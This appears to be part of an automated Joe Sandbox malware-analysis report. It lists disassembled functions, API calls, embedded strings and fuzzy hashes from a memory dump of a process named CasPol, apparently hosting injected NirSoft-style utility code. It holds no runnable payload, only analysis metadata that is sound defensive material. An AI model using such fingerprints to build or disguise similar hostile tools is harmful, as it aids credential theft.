                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$_snwprintf
                                                                                                                                                                  • String ID: %%0.%df
                                                                                                                                                                  • API String ID: 3473751417-763548558
                                                                                                                                                                  • Opcode ID: d3ed19b3c5d3f5d27fcb945595af099acb5609e53fc24cbfd77fa4eb0abb8f2a
                                                                                                                                                                  • Instruction ID: e3e507119e413e1699737691dcc770ce903c50d69a4f0c7cc4f670013a5326e5
                                                                                                                                                                  • Opcode Fuzzy Hash: d3ed19b3c5d3f5d27fcb945595af099acb5609e53fc24cbfd77fa4eb0abb8f2a
                                                                                                                                                                  • Instruction Fuzzy Hash: 2D318F71800129BBEB20DF95CC85FEB77BCFF49304F0104EAB509A2155E7349A94CBA9
                                                                                                                                                                  Function 004060A4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 97timewindowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • SetTimer.USER32(?,00000041,00000064,00000000), ref: 004060C7
                                                                                                                                                                  • KillTimer.USER32(?,00000041), ref: 004060D7
                                                                                                                                                                  • KillTimer.USER32(?,00000041), ref: 004060E8
                                                                                                                                                                  • GetTickCount.KERNEL32 ref: 0040610B
                                                                                                                                                                  • GetParent.USER32(?), ref: 00406136
                                                                                                                                                                  • SendMessageW.USER32(00000000), ref: 0040613D
                                                                                                                                                                  • BeginDeferWindowPos.USER32(00000004), ref: 0040614B
                                                                                                                                                                  • EndDeferWindowPos.USER32(00000000), ref: 0040619B
                                                                                                                                                                  • InvalidateRect.USER32(?,?,00000001), ref: 004061A7
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Timer$DeferKillWindow$BeginCountInvalidateMessageParentRectSendTick
                                                                                                                                                                  • String ID: A
                                                                                                                                                                  • API String ID: 2892645895-3554254475
                                                                                                                                                                  • Opcode ID: 9ab18b63844edbdd48863c33bac36f0a113902732bc81a80893c7cf372b99e85
                                                                                                                                                                  • Instruction ID: 3d646c34c65c30a23a549f03b0efc12359fcfb722ff8df3f2fd47db5f06942f8
                                                                                                                                                                  • Opcode Fuzzy Hash: 9ab18b63844edbdd48863c33bac36f0a113902732bc81a80893c7cf372b99e85
                                                                                                                                                                  • Instruction Fuzzy Hash: 67318F75240304BBEB205F62DC85F6A7B6ABB44742F018539F3067A5E1C7F998A18B58
                                                                                                                                                                  Function 0040D957 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 97windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • LoadMenuW.USER32(?,?), ref: 0040D97F
                                                                                                                                                                    • Part of subcall function 0040D7A7: GetMenuItemCount.USER32(?), ref: 0040D7BD
                                                                                                                                                                    • Part of subcall function 0040D7A7: memset.MSVCRT ref: 0040D7DC
                                                                                                                                                                    • Part of subcall function 0040D7A7: GetMenuItemInfoW.USER32 ref: 0040D818
                                                                                                                                                                    • Part of subcall function 0040D7A7: wcschr.MSVCRT ref: 0040D830
                                                                                                                                                                  • DestroyMenu.USER32(00000000), ref: 0040D99D
                                                                                                                                                                  • CreateDialogParamW.USER32(?,?,00000000,0040D952,00000000), ref: 0040D9F2
                                                                                                                                                                  • GetDesktopWindow.USER32 ref: 0040D9FD
                                                                                                                                                                  • CreateDialogParamW.USER32(?,?,00000000), ref: 0040DA0A
                                                                                                                                                                  • memset.MSVCRT ref: 0040DA23
                                                                                                                                                                  • GetWindowTextW.USER32(00000005,?,00001000), ref: 0040DA3A
                                                                                                                                                                  • EnumChildWindows.USER32(00000005,Function_0000D898,00000000), ref: 0040DA67
                                                                                                                                                                  • DestroyWindow.USER32(00000005), ref: 0040DA70
                                                                                                                                                                    • Part of subcall function 0040D5D6: _snwprintf.MSVCRT ref: 0040D5FB
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Menu$Window$CreateDestroyDialogItemParammemset$ChildCountDesktopEnumInfoLoadTextWindows_snwprintfwcschr
                                                                                                                                                                  • String ID: caption
                                                                                                                                                                  • API String ID: 973020956-4135340389
                                                                                                                                                                  • Opcode ID: 5e414436bb8e275bf9a16e2693900a7463b03ad76ebaf029bad5c7ef584cf34d
                                                                                                                                                                  • Instruction ID: d77e6bedd7727d4aace6f5c0bd160524984489d6dc7b24eaa8e7ecc9459ec1fc
                                                                                                                                                                  • Opcode Fuzzy Hash: 5e414436bb8e275bf9a16e2693900a7463b03ad76ebaf029bad5c7ef584cf34d
                                                                                                                                                                  • Instruction Fuzzy Hash: 60319072900208BFEF11AF91DC85EAA3B78FF04315F10843AF909A61A1D7799D58CF59
                                                                                                                                                                  Function 00410A60 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 90COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  • <br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>, xrefs: 00410B3C
                                                                                                                                                                  • <meta http-equiv='content-type' content='text/html;charset=%s'>, xrefs: 00410ADD
                                                                                                                                                                  • <table dir="rtl"><tr><td>, xrefs: 00410B00
                                                                                                                                                                  • <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">, xrefs: 00410A70
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$_snwprintf$wcscpy
                                                                                                                                                                  • String ID: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">$<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>$<meta http-equiv='content-type' content='text/html;charset=%s'>$<table dir="rtl"><tr><td>
                                                                                                                                                                  • API String ID: 1283228442-2366825230
                                                                                                                                                                  • Opcode ID: 2928c1e4db6f8540118cb54ef1ff53e3c28d5a36283f281326c9c00f9b8dcb63
                                                                                                                                                                  • Instruction ID: da896b014e5ee892582fb8e7d48e4383de9842bc572d8210300f5843ce7472f7
                                                                                                                                                                  • Opcode Fuzzy Hash: 2928c1e4db6f8540118cb54ef1ff53e3c28d5a36283f281326c9c00f9b8dcb63
                                                                                                                                                                  • Instruction Fuzzy Hash: 5C2182B69002197BDB21AB95CC41EDE77BCAF08785F0040ABF549D3151DA789F888BA9
                                                                                                                                                                  Function 00413959 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 82COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • wcschr.MSVCRT ref: 00413972
                                                                                                                                                                  • wcscpy.MSVCRT ref: 00413982
                                                                                                                                                                    • Part of subcall function 004097F7: wcslen.MSVCRT ref: 00409806
                                                                                                                                                                    • Part of subcall function 004097F7: wcslen.MSVCRT ref: 00409810
                                                                                                                                                                    • Part of subcall function 004097F7: _memicmp.MSVCRT ref: 0040982B
                                                                                                                                                                  • wcscpy.MSVCRT ref: 004139D1
                                                                                                                                                                  • wcscat.MSVCRT ref: 004139DC
                                                                                                                                                                  • memset.MSVCRT ref: 004139B8
                                                                                                                                                                    • Part of subcall function 00409DD5: GetWindowsDirectoryW.KERNEL32(0045DC58,00000104,?,00413A11,?,?,00000000,00000208,?), ref: 00409DEB
                                                                                                                                                                    • Part of subcall function 00409DD5: wcscpy.MSVCRT ref: 00409DFB
                                                                                                                                                                  • memset.MSVCRT ref: 00413A00
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000004,?,?,00000000,00000208,?), ref: 00413A1B
                                                                                                                                                                  • wcscat.MSVCRT ref: 00413A27
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: wcscpy$memsetwcscatwcslen$DirectoryWindows_memicmpmemcpywcschr
                                                                                                                                                                  • String ID: \systemroot
                                                                                                                                                                  • API String ID: 4173585201-1821301763
                                                                                                                                                                  • Opcode ID: e4551322c16c9acef98fc86a4838192e22c045fa3321ccd57a54cdfa3ae28df9
                                                                                                                                                                  • Instruction ID: a9582ad2fab6187976d7b5f1d827ce349b207672d34ede1993470c6c3fb504e1
                                                                                                                                                                  • Opcode Fuzzy Hash: e4551322c16c9acef98fc86a4838192e22c045fa3321ccd57a54cdfa3ae28df9
                                                                                                                                                                  • Instruction Fuzzy Hash: 7D21F6F68053146AE720FB619C86EEF73EC9F06719F20415FF115A20C6EA7C9A844B5E
                                                                                                                                                                  Function 00414BB0 Relevance: 16.6, APIs: 1, Strings: 10, Instructions: 50COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: wcscpy
                                                                                                                                                                  • String ID: AppData$Common Desktop$Common Programs$Common Start Menu$Common Startup$Desktop$Favorites$Programs$Start Menu$Startup
                                                                                                                                                                  • API String ID: 1284135714-318151290
                                                                                                                                                                  • Opcode ID: dc6868dd8f5dbcd850853512a46c22a4be17f2be4da4ff30984607c28efcaa9d
                                                                                                                                                                  • Instruction ID: e2253d4fd864bfabc2f945990654e2d0feb0e3e4f5de9ed447e77a37a808a444
                                                                                                                                                                  • Opcode Fuzzy Hash: dc6868dd8f5dbcd850853512a46c22a4be17f2be4da4ff30984607c28efcaa9d
                                                                                                                                                                  • Instruction Fuzzy Hash: 04F0127526EA4161142406240E0DEF75509D0D575F3F74A537A02E89D6FCCDDEC6609F
                                                                                                                                                                  Function 0040D2AB Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Menu$Itemmemset$CountInfoModifywcscatwcschr
                                                                                                                                                                  • String ID: 0$6
                                                                                                                                                                  • API String ID: 4066108131-3849865405
                                                                                                                                                                  • Opcode ID: 0289309123c9ab86839131df51d1afc7e9f627d47cda6d3754f054bafba8353e
                                                                                                                                                                  • Instruction ID: 23fd2219eb4cf2a86962fa47610fb6a66e7712bfbd77636794901fa2ff6d3352
                                                                                                                                                                  • Opcode Fuzzy Hash: 0289309123c9ab86839131df51d1afc7e9f627d47cda6d3754f054bafba8353e
                                                                                                                                                                  • Instruction Fuzzy Hash: 1C317C72808344AFDB209F95D84499FB7E8FF84314F00493EFA48A2291D775D949CB5B
                                                                                                                                                                  Function 004082C7 Relevance: 15.2, APIs: 10, Instructions: 229COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 004082EF
                                                                                                                                                                    • Part of subcall function 0040A6E6: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,0040B866,00445FAE,?,?,?,?,?,?), ref: 0040A6FF
                                                                                                                                                                  • memset.MSVCRT ref: 00408362
                                                                                                                                                                  • memset.MSVCRT ref: 00408377
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$ByteCharMultiWide
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 290601579-0
                                                                                                                                                                  • Opcode ID: 2c5b7af1b6ad7fa84976a25c4c1a6b62738b238711a472a87ec5ace72f6ab842
                                                                                                                                                                  • Instruction ID: eff1c4cb9ad8ed09cf65616da307521f953f8cb6273bc8e87bbfe44e88666a06
                                                                                                                                                                  • Opcode Fuzzy Hash: 2c5b7af1b6ad7fa84976a25c4c1a6b62738b238711a472a87ec5ace72f6ab842
                                                                                                                                                                  • Instruction Fuzzy Hash: E1716C72E0421DAFEF10EFA1EC82AEDB7B9EF04314F14406FE104B6191EB795A458B59
                                                                                                                                                                  Function 00444E84 Relevance: 15.2, APIs: 8, Strings: 2, Instructions: 183COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memchr.MSVCRT ref: 00444EBF
                                                                                                                                                                  • memcpy.MSVCRT(?,0044EB0C,0000000B,?,?,?,00000000,00000000,00000000), ref: 00444F63
                                                                                                                                                                  • memcpy.MSVCRT(?,00000001,00000008,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00444F75
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000010,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00444F9D
                                                                                                                                                                  • memcpy.MSVCRT(?,0044EB0C,0000000B), ref: 00444FAF
                                                                                                                                                                  • memcpy.MSVCRT(?,00000001,00000008), ref: 00444FC1
                                                                                                                                                                  • memcpy.MSVCRT(PD,?,00000008,?,?), ref: 00445010
                                                                                                                                                                  • memset.MSVCRT ref: 0044505E
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpy$memchrmemset
                                                                                                                                                                  • String ID: PD$PD
                                                                                                                                                                  • API String ID: 1581201632-2312785699
                                                                                                                                                                  • Opcode ID: 6e8d3b6fa2ff374e13542a5a9ce1d141d502757749890083bc1aee29b95d613b
                                                                                                                                                                  • Instruction ID: 10fb1f61a141a907ee6ef334180a592a84e160db04a0c58349e49e3250f7ff3f
                                                                                                                                                                  • Opcode Fuzzy Hash: 6e8d3b6fa2ff374e13542a5a9ce1d141d502757749890083bc1aee29b95d613b
                                                                                                                                                                  • Instruction Fuzzy Hash: 8D5192719002196BDF10EF69CC85EEEBBBCAF45304F0444ABE555E7246E738E648CBA4
                                                                                                                                                                  Function 00409F42 Relevance: 15.1, APIs: 10, Instructions: 103COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetSystemMetrics.USER32(00000011), ref: 00409F5B
                                                                                                                                                                  • GetSystemMetrics.USER32(00000010), ref: 00409F61
                                                                                                                                                                  • GetDC.USER32(00000000), ref: 00409F6E
                                                                                                                                                                  • GetDeviceCaps.GDI32(00000000,00000008), ref: 00409F7F
                                                                                                                                                                  • GetDeviceCaps.GDI32(00000000,0000000A), ref: 00409F86
                                                                                                                                                                  • ReleaseDC.USER32(00000000,00000000), ref: 00409F8D
                                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 00409FA0
                                                                                                                                                                  • GetParent.USER32(?), ref: 00409FA5
                                                                                                                                                                  • GetWindowRect.USER32(00000000,00000000), ref: 00409FC2
                                                                                                                                                                  • MoveWindow.USER32(?,?,?,?,?,00000001), ref: 0040A021
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Window$CapsDeviceMetricsRectSystem$MoveParentRelease
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2163313125-0
                                                                                                                                                                  • Opcode ID: d78dd9667733c118ca5f823c40f75fbf68f042a28012a42387a4e68ecbaebf7d
                                                                                                                                                                  • Instruction ID: e27d49e141fc924f5dc8bb17b5c2b7dfe0ac862298cc10f95babd1b5c1aaa95e
                                                                                                                                                                  • Opcode Fuzzy Hash: d78dd9667733c118ca5f823c40f75fbf68f042a28012a42387a4e68ecbaebf7d
                                                                                                                                                                  • Instruction Fuzzy Hash: 66318475A00209AFDF14CFB9CD85AEEBBB9FB48354F050579E901F3290DA70ED458A50
                                                                                                                                                                  Function 004028E7 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 190COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: free$wcslen
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3592753638-3916222277
                                                                                                                                                                  • Opcode ID: c7ce2940fe04b4405a0b219ffbd3b3dbc0b14a035c74dd75871d5eb09ab59b8c
                                                                                                                                                                  • Instruction ID: 6c84a66137f0c35b9d0eb965e4703c645d554f15bb1c6f80accdbf0b715e4580
                                                                                                                                                                  • Opcode Fuzzy Hash: c7ce2940fe04b4405a0b219ffbd3b3dbc0b14a035c74dd75871d5eb09ab59b8c
                                                                                                                                                                  • Instruction Fuzzy Hash: 78614A70E0421ADADF28AF95E6485EEB771FF04315F60807BE411B62D1EBB84981CB5D
                                                                                                                                                                  Function 0040A45A Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 65COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 0040A47B
                                                                                                                                                                  • _snwprintf.MSVCRT ref: 0040A4AE
                                                                                                                                                                  • wcslen.MSVCRT ref: 0040A4BA
                                                                                                                                                                  • memcpy.MSVCRT(?,?,?,?,?,00000400,%s (%s),?,?), ref: 0040A4D2
                                                                                                                                                                  • wcslen.MSVCRT ref: 0040A4E0
                                                                                                                                                                  • memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,00000400,%s (%s),?,?), ref: 0040A4F3
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpywcslen$_snwprintfmemset
                                                                                                                                                                  • String ID: %s (%s)$YV@
                                                                                                                                                                  • API String ID: 3979103747-598926743
                                                                                                                                                                  • Opcode ID: 2040f1418fb7f55927111411806f4302e3b16a8f1d7874ce907b9bb2b5999412
                                                                                                                                                                  • Instruction ID: 06bfc13611ed198a4270a5cd43788582667178ba612a9453d6f3368808cd6753
                                                                                                                                                                  • Opcode Fuzzy Hash: 2040f1418fb7f55927111411806f4302e3b16a8f1d7874ce907b9bb2b5999412
                                                                                                                                                                  • Instruction Fuzzy Hash: 31216F72900219BBDF21DF55CC45D8BB7B8BF04318F018466E948AB106DB74EA188BD9
                                                                                                                                                                  Function 004044A4 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 52libraryloaderwindowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • LoadLibraryW.KERNEL32(comctl32.dll), ref: 004044C3
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 004044D5
                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000), ref: 004044E9
                                                                                                                                                                  • MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00404514
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Library$AddressFreeLoadMessageProc
                                                                                                                                                                  • String ID: Error$Error: Cannot load the common control classes.$InitCommonControlsEx$comctl32.dll
                                                                                                                                                                  • API String ID: 2780580303-317687271
                                                                                                                                                                  • Opcode ID: 4451af1fa5a3c13e403cd0bd9a94ec580510088b32cd85f0031bb893d40152de
                                                                                                                                                                  • Instruction ID: 703d86131c3dcb59aab6256491fb2853d543806c906e0642a055f98632e98cc8
                                                                                                                                                                  • Opcode Fuzzy Hash: 4451af1fa5a3c13e403cd0bd9a94ec580510088b32cd85f0031bb893d40152de
                                                                                                                                                                  • Instruction Fuzzy Hash: B201D6757502217BE7112FB69C49F7B7A9CFF82749B000035E601E2180EAB8D901926D
                                                                                                                                                                  Function 0040A661 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52librarywindowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • LoadLibraryExW.KERNEL32(netmsg.dll,00000000,00000002,?,?,?,?,00409764,?), ref: 0040A686
                                                                                                                                                                  • FormatMessageW.KERNEL32(00001100,00000000,?,00000400,?,00000000,00000000,?,?,?,?,00409764,?), ref: 0040A6A4
                                                                                                                                                                  • wcslen.MSVCRT ref: 0040A6B1
                                                                                                                                                                  • wcscpy.MSVCRT ref: 0040A6C1
                                                                                                                                                                  • LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000,?,?,?,?,00409764,?), ref: 0040A6CB
                                                                                                                                                                  • wcscpy.MSVCRT ref: 0040A6DB
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: wcscpy$FormatFreeLibraryLoadLocalMessagewcslen
                                                                                                                                                                  • String ID: Unknown Error$netmsg.dll
                                                                                                                                                                  • API String ID: 2767993716-572158859
                                                                                                                                                                  • Opcode ID: 6af7a682c2b6d94d5c313714e0e524a7557e97864fcb7fd89b068039d1905f7d
                                                                                                                                                                  • Instruction ID: f30f617898fcbe25dfcd40b25f3134c3ee1324ef56ff669fd92f7ad18b117fee
                                                                                                                                                                  • Opcode Fuzzy Hash: 6af7a682c2b6d94d5c313714e0e524a7557e97864fcb7fd89b068039d1905f7d
                                                                                                                                                                  • Instruction Fuzzy Hash: 77014772104214BFE7151B61EC46E9F7B3DEF06795F24043AF902B10D0DA7A5E10D69D
                                                                                                                                                                  Function 0040DAE1 Relevance: 14.0, APIs: 3, Strings: 5, Instructions: 42COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                                                                  • wcscpy.MSVCRT ref: 0040DAFB
                                                                                                                                                                  • wcscpy.MSVCRT ref: 0040DB0B
                                                                                                                                                                  • GetPrivateProfileIntW.KERNEL32(0045D668,rtl,00000000,0045D458), ref: 0040DB1C
                                                                                                                                                                    • Part of subcall function 0040D65D: GetPrivateProfileStringW.KERNEL32(0045D668,?,0044E518,0045D6F8,?,0045D458), ref: 0040D679
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: PrivateProfilewcscpy$AttributesFileString
                                                                                                                                                                  • String ID: TranslatorName$TranslatorURL$charset$general$rtl
                                                                                                                                                                  • API String ID: 3176057301-2039793938
                                                                                                                                                                  • Opcode ID: 3fbe58534c285a30a84b282ab535004845ea1880fa40ce6c2a5f8ae528691bae
                                                                                                                                                                  • Instruction ID: a06b33177ff8c9e83df2ed587696004ed0fecc3b70d630751f385571f4afffd7
                                                                                                                                                                  • Opcode Fuzzy Hash: 3fbe58534c285a30a84b282ab535004845ea1880fa40ce6c2a5f8ae528691bae
                                                                                                                                                                  • Instruction Fuzzy Hash: A8F0F661EC061236D2213A761C07F2E26149FA3B93F05447BBC08771C7CA7E4A4DC69E
                                                                                                                                                                  Function 0042F5F4 Relevance: 13.8, APIs: 2, Strings: 7, Instructions: 250COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  • too many attached databases - max %d, xrefs: 0042F64D
                                                                                                                                                                  • database is already attached, xrefs: 0042F721
                                                                                                                                                                  • out of memory, xrefs: 0042F865
                                                                                                                                                                  • database %s is already in use, xrefs: 0042F6C5
                                                                                                                                                                  • cannot ATTACH database within transaction, xrefs: 0042F663
                                                                                                                                                                  • unable to open database: %s, xrefs: 0042F84E
                                                                                                                                                                  • attached databases must use the same text encoding as main database, xrefs: 0042F76F
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpymemset
                                                                                                                                                                  • String ID: attached databases must use the same text encoding as main database$cannot ATTACH database within transaction$database %s is already in use$database is already attached$out of memory$too many attached databases - max %d$unable to open database: %s
                                                                                                                                                                  • API String ID: 1297977491-2001300268
                                                                                                                                                                  • Opcode ID: fafdf879e702536ae0a8da4e3c7de2ba30e48f0de6d41113ccb8534cd7e7e00e
                                                                                                                                                                  • Instruction ID: 2d624c67d108d3170f37657fe85980b6deaf3b4166a4b31ce602698a835437d0
                                                                                                                                                                  • Opcode Fuzzy Hash: fafdf879e702536ae0a8da4e3c7de2ba30e48f0de6d41113ccb8534cd7e7e00e
                                                                                                                                                                  • Instruction Fuzzy Hash: 4791C131B00315AFDB10DF65E481B9ABBB0AF44318F94807FE8059B252D778E949CB59
                                                                                                                                                                  Function 0040EAFF Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 160COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT(?,?,?,0040EB18), ref: 0040E8EC
                                                                                                                                                                    • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT(?,?,?,0040EB18), ref: 0040E8FA
                                                                                                                                                                    • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT(?,?,?,0040EB18), ref: 0040E90B
                                                                                                                                                                    • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT(?,?,?,0040EB18), ref: 0040E922
                                                                                                                                                                    • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT(?,?,?,0040EB18), ref: 0040E92B
                                                                                                                                                                  • ??2@YAPAXI@Z.MSVCRT ref: 0040EB3F
                                                                                                                                                                  • ??2@YAPAXI@Z.MSVCRT ref: 0040EB5B
